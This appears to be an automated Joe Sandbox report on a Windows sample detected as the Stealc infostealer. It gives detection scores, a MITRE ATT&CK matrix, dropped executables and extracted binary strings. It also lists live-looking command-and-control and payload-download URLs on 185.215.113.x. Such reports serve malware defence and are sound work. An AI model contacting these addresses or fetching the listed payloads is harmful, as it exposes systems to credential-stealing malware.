0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 0c179c8402.exe	Binary or memory string: WIN_XPe
Source: 0c179c8402.exe	Binary or memory string: WIN_VISTA
Source: 0c179c8402.exe	Binary or memory string: WIN_7
Source: 0c179c8402.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000007.00000002.2755758341.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 48c5076e95.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a759b4c7d8.exe PID: 5808, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A61204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		9_2_00A61204
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A61806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		9_2_00A61806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Valid Accounts	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	21 Access Token Manipulation	12 Software Packing	NTDS	227 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	961 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	11 Masquerading	Cached Domain Credentials	461 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	2 Valid Accounts	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	461 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	21%	ReversingLabs
C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	39%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal	Browse
bzib.nelreports.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.100/	100%	URL Reputation	malware
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.100	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://bzib.nelreports.net/api/report?cat=bingbusiness	0%	URL Reputation	safe
https://chrome.cloudflare-dns.com/dns-query	0%	URL Reputation	safe
http://185.215.113.16/steam/random.exe6522nGfO	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.phpl	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phpO	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpU	100%	Avira URL Cloud	phishing
https://msn.com	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpAppData	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.php/E	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.php?	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpl	7%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpX	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phpD	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpAppData	3%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpU	15%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php?	23%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpa	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phptch	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phpD	19%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpa	6%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpX	11%	Virustotal		Browse
https://msn.com	0%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php/E	19%	Virustotal		Browse
http://185.215.113.19/ta	100%	Avira URL Cloud	phishing
http://185.215.113.100/ata	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phpO	3%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpsr	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.phpT	100%	Avira URL Cloud	malware
http://185.215.113.19/ta	16%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php8	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phpb	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phptch	3%	Virustotal		Browse
http://185.215.113.100Y	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpc	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpgM	100%	Avira URL Cloud	phishing
http://185.215.113.100/ata	8%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phph	100%	Avira URL Cloud	phishing
http://185.215.113.100/S	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpT	16%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpi	100%	Avira URL Cloud	phishing
https://myaccount.google.com/signinoptions/passwordC:	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phph	3%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php	24%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpm	100%	Avira URL Cloud	phishing
http://185.215.113.100/S	16%	Virustotal		Browse
https://www.office.com/	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.phpc	19%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php8	11%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpb	3%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpAppDataBt	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.php/	100%	Avira URL Cloud	malware
http://185.215.113.19/	100%	Avira URL Cloud	phishing
https://www.office.com/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phpm	19%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpata	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpi	3%	Virustotal		Browse
http://185.215.113.16/well/random.exe.	100%	Avira URL Cloud	phishing
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.16/steam/random.exe	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exe	25%	Virustotal		Browse
http://185.215.113.19/	19%	Virustotal		Browse
https://www.office.com/Office	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.phphM	100%	Avira URL Cloud	phishing
http://185.215.113.19/G	100%	Avira URL Cloud	phishing
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.php/	7%	Virustotal		Browse
http://185.215.113.16/well/random.exe.	18%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php0	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exesG	100%	Avira URL Cloud	phishing
https://www.office.com/Office	0%	Virustotal		Browse
https://www.google.com/favicon.ico	0%	Virustotal		Browse
http://185.215.113.16/steam/random.exe	24%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php053001	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php0	19%	Virustotal		Browse
http://185.215.113.19/G	19%	Virustotal		Browse
185.215.113.100/e2b1563c6670f193.php	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.php=	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php000	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpata	19%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown
bzib.nelreports.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/	true	URL Reputation: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.16/steam/random.exe	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.google.com/favicon.ico	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://chrome.cloudflare-dns.com/dns-query	false	URL Reputation: safe	unknown
185.215.113.100/e2b1563c6670f193.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.19/Vi9leo/index.phpO	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://duckduckgo.com/chrome_newtab	Web Data.13.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Web Data.13.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpl	a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://msn.com	data_10.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe6522nGfO	explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpU	explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpAppData	explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.php/E	a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php?	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpX	a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.phpD	explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Web Data.13.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpa	48c5076e95.exe, 00000007.00000002.2755758341.000000000174F000.00000004.00000020.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.phptch	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpo	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/ta	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/ata	a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	true	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100	48c5076e95.exe, 00000007.00000002.2755758341.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.19/Vi9leo/index.phpsr	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Web Data.13.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpT	48c5076e95.exe, 00000007.00000002.2755758341.000000000176C000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php8	48c5076e95.exe, 00000007.00000002.2755758341.000000000176C000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.phpb	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100Y	a759b4c7d8.exe, 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.phpc	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpgM	explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phph	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.100/S	48c5076e95.exe, 00000007.00000002.2755758341.000000000174F000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.phpi	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://myaccount.google.com/signinoptions/passwordC:	0c179c8402.exe, 00000009.00000002.3245157300.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.phpm	explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.office.com/	Top Sites.13.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.16/well/random.exe	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	25%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.phpAppDataBt	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.php/	48c5076e95.exe, 00000007.00000002.2755758341.000000000174F000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Web Data.13.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.phpata	explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.16/well/random.exe.	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Web Data.13.dr	false	URL Reputation: safe	unknown
https://www.office.com/Office	Top Sites.13.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.phphM	explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/G	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.php0	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.16/steam/random.exesG	explorti.exe, 00000006.00000002.3244398787.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000003.2959096070.00000000006CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL0.14.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.php053001	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.php=	explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.100/e2b1563c6670f193.phpx	48c5076e95.exe, 00000007.00000002.2755758341.000000000176C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.19/Vi9leo/index.php000	explorti.exe, 00000006.00000003.2959096070.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.3244398787.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.80.46	unknown	United States	15169	GOOGLEUS	false
185.215.113.100	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.251.41.4	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502368
Start date and time:	2024-09-01 01:28:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@80/300@12/10
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 74.125.206.84, 13.107.42.16, 13.107.21.239, 204.79.197.239, 13.107.6.158, 2.19.126.145, 2.19.126.152, 172.217.16.131, 142.250.185.195, 2.23.209.133, 2.23.209.130, 2.23.209.187, 2.23.209.140, 2.23.209.149, 2.23.209.182, 20.199.58.43, 142.251.40.163, 142.250.65.163, 142.250.80.35, 142.250.80.67
Excluded domains from analysis (whitelisted): config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, edgeassetservice.afd.azureedge.net, iris-de-prod-azsc-v2-frc.francecentral.cloudapp.azure.com, arc.msn.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, config-edge-skype.l-0007.l-msedge.net, arc.trafficmanager.net, www.gstatic.com, l-0007.l-msedge.net, config.edge.skype.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, accounts.google.com, bzib.nelreports.net.akamaized.net, fonts.gstatic.com, ctldl.windowsupdate.com, b-0005.b-msedge.net, www-www.bing.com.trafficmanager.net, edge.microsoft.com, business-bing-com.b-0005.b-msedge.net, fe3cr.delivery.mp.microsoft.com, l-0007.config.skype.com, edgeassetservice.azureedge.net, azureedge-t-prod.trafficmanager.net, business.bing.com, dual-a-0036.a-msedge.net
Execution Graph export aborted for target 48c5076e95.exe, PID 7060 because there are no executed function
Execution Graph export aborted for target a759b4c7d8.exe, PID 5808 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 6024 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 984 because there are no executed function
Execution Graph export aborted for target file.exe, PID 3964 because it is empty
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
